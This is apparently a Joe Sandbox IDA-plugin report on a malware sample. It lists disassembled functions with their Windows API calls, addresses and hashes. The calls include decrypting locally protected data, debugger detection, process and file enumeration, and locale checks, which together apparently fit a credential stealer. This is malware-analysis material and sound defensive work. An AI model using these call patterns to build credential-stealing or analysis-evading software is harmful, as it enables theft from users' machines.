Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlenmemcpymemset
String ID:
API String ID: 1498829745-0
Opcode ID: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction ID: 73a89fe7b99aa7d2364cb4d3d60341f0774d48a816bcca14cb071eff5a8018ea
Opcode Fuzzy Hash: df20d881f5c4e2d2d6bfb338d3498bb03429a4b2b91fe4cc56399575628a5faf
Instruction Fuzzy Hash: 694164B8944219EFDB10DFE4DD89BEEBBB8BB44304F1041A9F509A6280D7745A84CF95

Function 00416920 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0042110C,?,?,00416B11,00000000,?,0079D410,?,0042110C,?,00000000,?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(0042110C,00000000,?,?,?,?,?,?,?,?,?,?,?,0079D410,?,0042110C), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,0079D410,?,0042110C), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Strings

B, xrefs: 004169C9

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: B
API String ID: 2533653975-2248957098
Opcode ID: 985d0f7d058ad0055831b2a8c0dcfb999921c7243e7ebcfc815c5d09d464317a
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: 985d0f7d058ad0055831b2a8c0dcfb999921c7243e7ebcfc815c5d09d464317a
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 023F7DF7 Relevance: 7.6, APIs: 5, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

GetKeyboardLayoutList.USER32(00000000,00000000,004205AF), ref: 023F7E48
LocalAlloc.KERNEL32(00000040,?), ref: 023F7E60
GetKeyboardLayoutList.USER32(?,00000000), ref: 023F7E74
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 023F7EC9
LocalFree.KERNEL32(00000000), ref: 023F7F89

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID:
API String ID: 3090951853-0
Opcode ID: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction ID: 35e8240eb6af10e995ed6dd5004d16361d0a225420e7ee663df3788461dc69b7
Opcode Fuzzy Hash: 7596f6bab02a8893db2d538185692abed2554d8effdd32d34ab9a344058ae76c
Instruction Fuzzy Hash: CB414C71950218ABCB64DF94EC98FEDB3B9FB44704F1041D9E209A6290DB742F89CF90

Function 023FB5A1 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 023FBE09
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 023FBE1E
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 023FBE29
GetCurrentProcess.KERNEL32(C0000409), ref: 023FBE45
TerminateProcess.KERNEL32(00000000), ref: 023FBE4C

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: b82bc16217620e6f2f6887e42f783cc4adcb0d009c7ad16df9bd0c75638830cc
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: 8921C3BC900205DFDB50DF29F888A967BE4FB0A304F10403AE90987264EBB05981EF49

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 023E74A7 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 023E74B4
RtlAllocateHeap.NTDLL(00000000), ref: 023E74BB
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 023E74E8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 023E750B
LocalFree.KERNEL32(?), ref: 023E7515

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: 33ee1695725eeba4565f8639e3488ee5c4dc5f2489de562540ff484f7faa7755
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: C0010075A80208BBEB10DFD4DD45F9D77B9EB44704F104155F706AA2C0D670AA00CB65

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90), ref: 0040724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407C90,80000001,004161C4), ref: 004072A4
LocalFree.KERNEL32(?,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 004072AE

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 023F9867 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 023F9885
Process32First.KERNEL32(00420ACA,00000128), ref: 023F9899
Process32Next.KERNEL32(00420ACA,00000128), ref: 023F98AE
StrCmpCA.SHLWAPI(?,00000000), ref: 023F98C3
CloseHandle.KERNEL32(00420ACA), ref: 023F98E1

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 2711a6cac1c1f886151d45b8e28a4aa86fe3b0ff00852c86c76e0377e6ad2160
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: EA010C79A50208FFDB60DFE4DD54BEDB7F9EB49700F004189E505A6240D7749A44CF51

Function 00419600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041961E
Process32First.KERNEL32(00420ACA,00000128), ref: 00419632
Process32Next.KERNEL32(00420ACA,00000128), ref: 00419647
StrCmpCA.SHLWAPI(?,00000000), ref: 0041965C
CloseHandle.KERNEL32(00420ACA), ref: 0041967A

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction ID: 11d567adce4b572477f284a2ec541547db87c4b6fd8ba8cb36d7f0fd64301d48
Opcode Fuzzy Hash: efce1fcd99615d94272105280d60a4b92d78062080d1f7b2eb7e6a1284bcad8e
Instruction Fuzzy Hash: F201E9B9A40208ABCB24DFA5C958BEEB7F9EB49700F104189E90996250D7389F81CF61

Function 023EE697 Relevance: 6.5, APIs: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214F0,00420D73), ref: 023EE709
StrCmpCA.SHLWAPI(?,004214F8), ref: 023EE759
StrCmpCA.SHLWAPI(?,004214FC), ref: 023EE76F
FindNextFileA.KERNEL32(000000FF,?), ref: 023EEE46

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID:
API String ID: 433455689-0
Opcode ID: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction ID: f7eca459082f52cc7205d84bb1350e8b5b2e95381a12190556bd9210dc4c8d8b
Opcode Fuzzy Hash: f3dcec5693a34f3f639a4326c9ab4e832b2dce632252e8eb0e6dc656e0f1fa1e
Instruction Fuzzy Hash: 4212AA71A102189BCF69FB60EDA5EED737AAF54304F4041A9A60E96190EF346F8CCF51

Function 023F9107 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,023E53EB,40000001,00000000,00000000,?,023E53EB), ref: 023F9127

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 1a01c69bdaeee2cf9e685ce61bbdb4c010c227cd7a366b15c975052de328d08f
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 9311EC74204204BFDB44CF94EC89FA733AEAF89754F009568FA0A8B251D775E842DB60

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction ID: 3c4cb89ba01459054e3b3595e947631781f59a96386c3a2a773972b879479806
Opcode Fuzzy Hash: 50c587c7d4ac64b069940d35739af35c573ca283b52ef79ebdc7068d03a1f7db
Instruction Fuzzy Hash: 62111C74200204BFDB00CFA4D884FA733AAAF89304F109549F9198B250DB39EC82DB65

Function 023E9D27 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,023E5155,00000000,00000000), ref: 023E9D56
LocalAlloc.KERNEL32(00000040,?,?,?,023E5155,00000000,?), ref: 023E9D68
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,023E5155,00000000,00000000), ref: 023E9D91
LocalFree.KERNEL32(?,?,?,?,023E5155,00000000,?), ref: 023E9DA6

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: 0ecac1a2101c3badf2fd7faba8c8acd989e0d1469510c6a6a15be06f94e8eb0e
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 1A11A4B4240208BFEB10CFA4CC95FAA77B5EB89704F208059FD159B3D0C776A901CB90

Function 023E9DC7 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 023E9DEB
LocalAlloc.KERNEL32(00000040,00000000), ref: 023E9E0A
memcpy.MSVCRT(?,?,?), ref: 023E9E2D
LocalFree.KERNEL32(?), ref: 023E9E3A

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 480ba7e10c67ca4965717be41af3eb5a01fb900c18b0a4777cc214a19d963575
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 7C11FAB8A00209EFDB04DFA4D985AAE77B5FF89704F104558E91597390D730AA10CF61

Function 00409B60 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
memcpy.MSVCRT(?,?,?), ref: 00409BC6
LocalFree.KERNEL32(?), ref: 00409BD3

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction ID: 8471c3d920f6d21a6ca128c50317bdd839bed9d1cf50ed0ddd6ab59e3c77a746
Opcode Fuzzy Hash: c2aa43b9e4297819a9d52390c0c53cdff2035cd243deeef131e769104903eb95
Instruction Fuzzy Hash: 46110CB8A00209EFDB04DF94D985AAE77B6FF89300F104569F915A7390D774AE10CF61

Function 00417A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,007CAAA0,00000000,?,00420E10,00000000,?,00000000,00000000), ref: 00417A63
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,007CAAA0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,007CAAA0,00000000,?,00420E10,00000000,?,00000000,00000000,?), ref: 00417A7D
wsprintfA.USER32 ref: 00417AB7

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction ID: 8af700d3b0e32b47e9d6ddd9198ddf9a5cfc8e3ba9127fd648bfb7377b14e362
Opcode Fuzzy Hash: b881c6b0ead1d296197200307cca27ecd4ed8ab0e7bcc50e28ea7705d7869b14
Instruction Fuzzy Hash: 461152B1A45228EFEB108B54DC45F9AB7B8FB05711F10439AE516932C0D7785A40CF55

Function 00413720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E118,00000000,00000001,0041E108,00000000), ref: 00413758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004137B0

Memory Dump Source

Source File: 00000000.00000002.2280583655.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2280583655.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2280583655.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction ID: 95f6a265596bdc049295610fa53daf8ef9ce5e7415083cbf30a8e52d2e28a0c3
Opcode Fuzzy Hash: 634e478c758f94cb0cd26d84ba9f3abb63f0756ecf75599706a634363863d21a
Instruction Fuzzy Hash: A941F474A40A28AFDB24DF58CC94BDAB7B5BB48306F4041D9A608A72D0E771AEC5CF50

Function 023E092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 023E095F
l, xrefs: 023E0966
GetProcAddress., xrefs: 023E09DC, 023E09DF, 023E09E4

Memory Dump Source

Source File: 00000000.00000002.2281115890.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23e0000_4M3JIACIWk.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: bfadb0061051b38229bf879b988c87c71fac3a0d00a5596b668d228a20db719b
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: E7314BB6900619DFDB14CF99C880AAEBBF9FF58324F14404AD442B7351D7B1EA49CBA4

Function 023EF8F1 Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 023FA9A7: lstrcpy.KERNEL32(00420E17,00000000), ref: 023FA9EF

Part of subcall function 023FAB87: lstrcpy.KERNEL32(00000000,?), ref: 023FABD9
Part of subcall function 023FAB87: lstrcat.KERNEL32(00000000), ref: 023FABE9

Part of subcall function 023FAC17: lstrlen.KERNEL32(?,0064A1F0,?,00424FB4,00420E17), ref: 023FAC2C
Part of subcall function 023FAC17: lstrcpy.KERNEL32(00000000), ref: 023FAC6B
Part of subcall function 023FAC17: lstrcat.KERNEL32(00000000,00000000), ref: 023FAC79

Part of subcall function 023FAB07: lstrcpy.KERNEL32(?,00420E17), ref: 023FAB6C

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 023EF985
